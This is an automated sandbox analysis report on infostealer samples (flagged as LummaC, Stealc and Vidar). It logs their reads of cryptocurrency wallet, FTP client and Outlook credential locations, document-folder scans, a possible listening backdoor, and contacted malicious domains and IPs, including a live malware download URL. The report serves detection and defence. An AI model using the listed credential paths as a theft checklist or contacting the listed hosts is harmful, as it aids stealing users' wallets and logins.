Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Searches for user specific document files

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN

Yara detected Credential Stealer

Source: Yara match	File source: 0000000C.00000003.3051999590.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2999075528.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3022927593.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3084377745.0000000000D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3073683889.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2107150045.00000000011A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3084048003.0000000000D1D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2999819217.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3003028581.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2ffb915ad7.exe PID: 8184, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2ffb915ad7.exe PID: 8184, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 36.2.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000003.3236474739.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.2999530094.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3219239848.0000000001137000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3025229093.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3217179898.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2240131316.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2467756914.0000000000531000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.3202477803.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3015278414.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C770C40 sqlite3_bind_zeroblob,	4_2_6C770C40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C770D60 sqlite3_bind_parameter_name,	4_2_6C770D60
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C698EA0 sqlite3_clear_bindings,	4_2_6C698EA0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C770B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	4_2_6C770B40
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C696070 PR_Listen,	4_2_6C696070
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C69C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	4_2_6C69C050
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C69C030 sqlite3_bind_parameter_count,	4_2_6C69C030
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6222D0 sqlite3_bind_blob,	4_2_6C6222D0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6963C0 PR_Bind,	4_2_6C6963C0

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.238	youtube.com	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

Contacted Domains

Name	IP	Active
example.org	93.184.215.14	true
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true
steamcommunity.com	104.102.49.254	true
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true
ipv4only.arpa	192.0.0.171	true
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true
sergei-esenin.com	104.21.53.8	true
contile.services.mozilla.com	34.117.188.166	true
youtube.com	142.250.181.238	true
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true
spirittunek.store	unknown	unknown
spocs.getpocket.com	unknown	unknown
licendfilteo.site	unknown	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown
support.mozilla.org	unknown	unknown
eaglepawnoy.store	unknown	unknown
bathdoomgaz.store	unknown	unknown
detectportal.firefox.com	unknown	unknown
studennotediw.store	unknown	unknown
mobbipenju.store	unknown	unknown
shavar.services.mozilla.com	unknown	unknown
clearancek.site	unknown	unknown
dissapoiznw.store	unknown	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/0d60be0de163924d/nss3.dll

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
